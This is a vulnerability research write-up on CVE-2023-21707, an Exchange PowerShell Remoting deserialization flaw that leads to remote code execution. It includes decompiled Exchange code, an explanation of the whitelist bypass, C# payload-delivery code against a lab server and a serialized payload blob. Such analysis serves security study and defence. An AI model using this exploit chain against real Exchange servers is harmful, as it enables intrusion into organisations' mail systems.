

Microsoft Exchange Powershell Remoting Deserialization lead to RCE (CVE-2023-21707)

Microsoft Exchange Powershell Remoting Deserialization lead to RCE (CVE-2023-21707) - Jang, Medium.

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Microsoft Exchange

Deserialization

Powershell Remoting

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[\[image: Jang\]](#)

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The old bug

This vulnerability was found while analyzing CVE-2022-41082 A.K.A ProxyNotShell; zdi has a very detailed analysis of this vulnerability [here](#), and readers should read it first to understand this article better. If you are too lazy to read it, here is a diagram briefly describing how CVE-2022-41082 works:

Where the bug happens:

```
//System.Management.Automation.InternalDeserializer.ReadOneObject()
internal object ReadOneObject(out string streamName)
{
    //...
    Type targetTypeForDeserialization =
psobject.GetTargetTypeForDeserialization(this._typeTable); //[1]
    if (null != targetTypeForDeserialization)
    {
        Exception ex = null;
        try
        {
            object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization,
true, CultureInfo.InvariantCulture, this._typeTable); //[2]
        }
        //...
    }
}
```

At **[2]**, if `targetTypeForDeserialization != null`, it will continue into the `LanguagePrimitives.ConvertTo()` branch to convert the data to the data type specified by `targetTypeForDeserialization`.

The `LanguagePrimitives.ConvertTo()` method was mentioned before in the PSObject gadget section of [Friday the 13th JSON Attacks](#). It described quite a few ways this method uses to restore an object / convert an object:

- Call constructor with 1 argument
- Call setter
- Call static method "***Parse(string)***" **[method 3]**
- Call custom Conversion **[method 4]**
- ...

With CVE-2022-41082, the exploitation flow uses `LanguagePrimitives.ConvertTo()` twice

- The first time uses **[method 4]** to reconstruct the type `XamlReader`. This process uses a Custom Conversion, here `Microsoft.Exchange.Data.SerializationTypeConverter.ConvertFrom() -> DeserializeObject()`. This method uses `BinaryFormatter` with a whitelist to deserialize data, and the whitelist contains `System.UnitySerializationHolder`. Put simply, `System.UnitySerializationHolder` allows us to serialize/deserialize a `Type` with `BinaryFormatter`.
- The second time uses **[method 3]**, calling the `XamlReader.Parse(string)` method to trigger RCE (with the `XamlReader` that was just restored)

The patch for CVE-2022-41082 simply adds a `SurrogateSelector`

`UnitySerializationHolderSurrogateSelector` to re-check the `Type` when deserializing the type `System.UnitySerializationHolder`:

Therefore we can no longer specify an arbitrary `Type` to call the `Parse(string)` method.

The new one

Coming back to **[method 3]** of `LanguagePrimitives.ConvertTo()`, Exchange implements a custom Conversion: `SerializationTypeConverter`, and the `ConvertFrom` method of this class calls `DeserializeObject` directly **[3]**:

```

public override object ConvertFrom(object sourceValue, Type destinationType,
IFormatProvider formatProvider, bool ignoreCase)
{
    return this.DeserializeObject(sourceValue, destinationType); //[3]
}
private object DeserializeObject(object sourceValue, Type destinationType)
{
    if (!this.CanConvert(sourceValue, destinationType, out array, out text, out ex))
//[4]
    {
        throw ex;
    }
    //...
    using (MemoryStream memoryStream = new MemoryStream(array))
    {
        AppDomain.CurrentDomain.AssemblyResolve +=
SerializationTypeConverter.AssemblyHandler;
        try
        {
            int tickCount = Environment.TickCount;
            obj = this.Deserialize(memoryStream); //[5]
            //...
        }
    }
private bool CanConvert(object sourceValue, Type destinationType, out byte[]
serializationData, out string stringValue, out Exception error)
{
    PSObject psoobject = sourceValue as PSObject;
    //...
    object value = psoobject.Properties["SerializationData"].Value; //[6]
    if (!(value is byte[]))
    {
        error = new
NotSupportedException(DataStrings.ExceptionUnsupportedDataFormat(value));
        return false;
    }
    //...
    stringValue = psoobject.ToString();
    serializationData = value as byte[];
}

internal object Deserialize(MemoryStream stream)
{
    bool strictModeStatus =

```

```

Serialization.GetStrictModeStatus(DeserializeLocation.SerializationTypeConverter);
    return
ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SerializationTypeConverter, strictModeStatus, SerializationTypeConverter.allowedTypes,
SerializationTypeConverter.allowedGenerics).Deserialize(stream); //[7]
}

```

Continuing to analyze the `DeserializeObject` method, `CanConvert` takes the `SerializationData` prop from the `PSObject` as a byte array **[6]**, which is then passed directly into `SerializationTypeConverter.Deserialize() -> BinaryFormatter.Deserialize()` **[7]**. In the `ProxyNotShell` payload, `SerializationData` is represented as follows:

```

<BA
N="SerializationData">AAEAAAD/////AQAAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9
sZGVyAwAAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWYya3Vw
LlhhbWxSZWfkZXIEAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBwZXJzaW9uPTQuMC4wLjAsIEN1bHRlc
mU9bmVldHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>

```

The only thing preventing Deserialization to RCE here is the `SerializationTypeConverter.allowedTypes` whitelist with about ~1200 allowed types:

This list also includes `System.UnitySerializationHolder` - the type that was abused in `ProxyNotShell`.

While analyzing this part more carefully, I found another variant of 41082, numbered CVE-2023-21707, which is also the main subject of this analysis.

Basically, 21707 works because of the looseness and overly broad scope of `SerializationTypeConverter.allowedTypes` itself.

In this list there is one noteworthy class,
`Microsoft.Exchange.Security.Authentication.GenericSidIdentity`:

The inheritance diagram of `GenericSidIdentity` can be modeled as follows:

```

GenericSidIdentity
  ClientSecurityContextIdentity
    System.Security.Principal.GenericIdentity
      System.Security.Claims.ClaimsIdentity <---

```

If you have done .NET Deser a few times, you may also recognize that `ClaimsIdentity` is one of the gadget chains in ysoserial.net

Because `Microsoft.Exchange.Security.Authentication.GenericSidIdentity` is a child/descendant of `ClaimsIdentity`, during deserialization `ClaimsIdentity` will be reconstructed first, and `ClaimsIdentity.OnDeserializedMethod()` will also be called -> RCE:

Payload delivery

Although logically the bug is still there, the SSRF bug in autodiscover and owassrf have all been patched, so another way to send the payload is needed! After searching Google for a while, I discovered that the /powershell endpoint can still be accessed remotely, but only over the http protocol:

- src: <https://learn.microsoft.com/en-us/powershell/exchange/connect-to-exchange-server-s-using-remote-powershell?view=exchange-ps>

In C#, I can use `WSManConnectionInfo` and `RunspaceFactory.CreateRunspace()` to connect to this endpoint:

```
string userName = "john";
string password = "";
string uri = "http://exchange.lab.local/powershell";
PSCredential remoteCredential = new PSCredential(userName, ToSecureString(password));
WSManConnectionInfo wsmanConnectionInfo = new WSManConnectionInfo(uri,
"http://schemas.microsoft.com/powershell/Microsoft.Exchange", credentials);

wsmanConnectionInfo.AuthenticationMechanism = this.authType;
wsmanConnectionInfo.MaximumConnectionRedirectionCount = 5;
wsmanConnectionInfo.SkipCACheck = true;
wsmanConnectionInfo.SkipCNCheck = true;

this.runspace = RunspaceFactory.CreateRunspace(wsmanConnectionInfo);
this.runspace.Open();
```

To send the payload, I create a Powershell Session with the Exchange runspace created above, and the payload will be wrapped in the argument part when running a command, for example as follows:

```
object payload = new Payload();
using (PowerShell powerShell = PowerShell.Create())
{
    powerShell.Runspace = this.runspace;
    powerShell.AddCommand("get-mailbox");
    powerShell.AddArgument(payload);
    powerShell.Invoke();
}
```

The key point here is that `PowerShell.AddArgument(object)` accepts any object as an argument. This step is also exactly the same as the payload-sending part in ProxyNotShell, but it is done programmatically instead of crafting the payload by hand!

The `Payload` class has the following content:

```

using System;
public class Payload: Exception
{
    private byte[] _serializationData;

    public byte[] SerializationData
    {
        get => _serializationData;
        set => _serializationData = value;
    }

    public Payload(byte[] serializationData)
    {
        SerializationData = serializationData;
    }
}

```

This class must inherit `System.Exception` (the specific reason can be seen in the 41082 analysis), and must have the public property `SerializationData`. This property will hold the `GenericSidIdentity` gadget, meaning the gadget used to bypass.

Next we need to create a `GenericSidIdentity` object, and then set the field `m_serializedClaims` = the deserialize gadgetchain generated from ysoserial.net. There are many ways to do this; I chose to declare a new class myself, inheriting `GenericIdentity`

And to use a Custom Binder to rewrite the Class Name during payload serialization:

Finally, just send the payload `~(□)/~`: Call stack when exploiting:

PoC: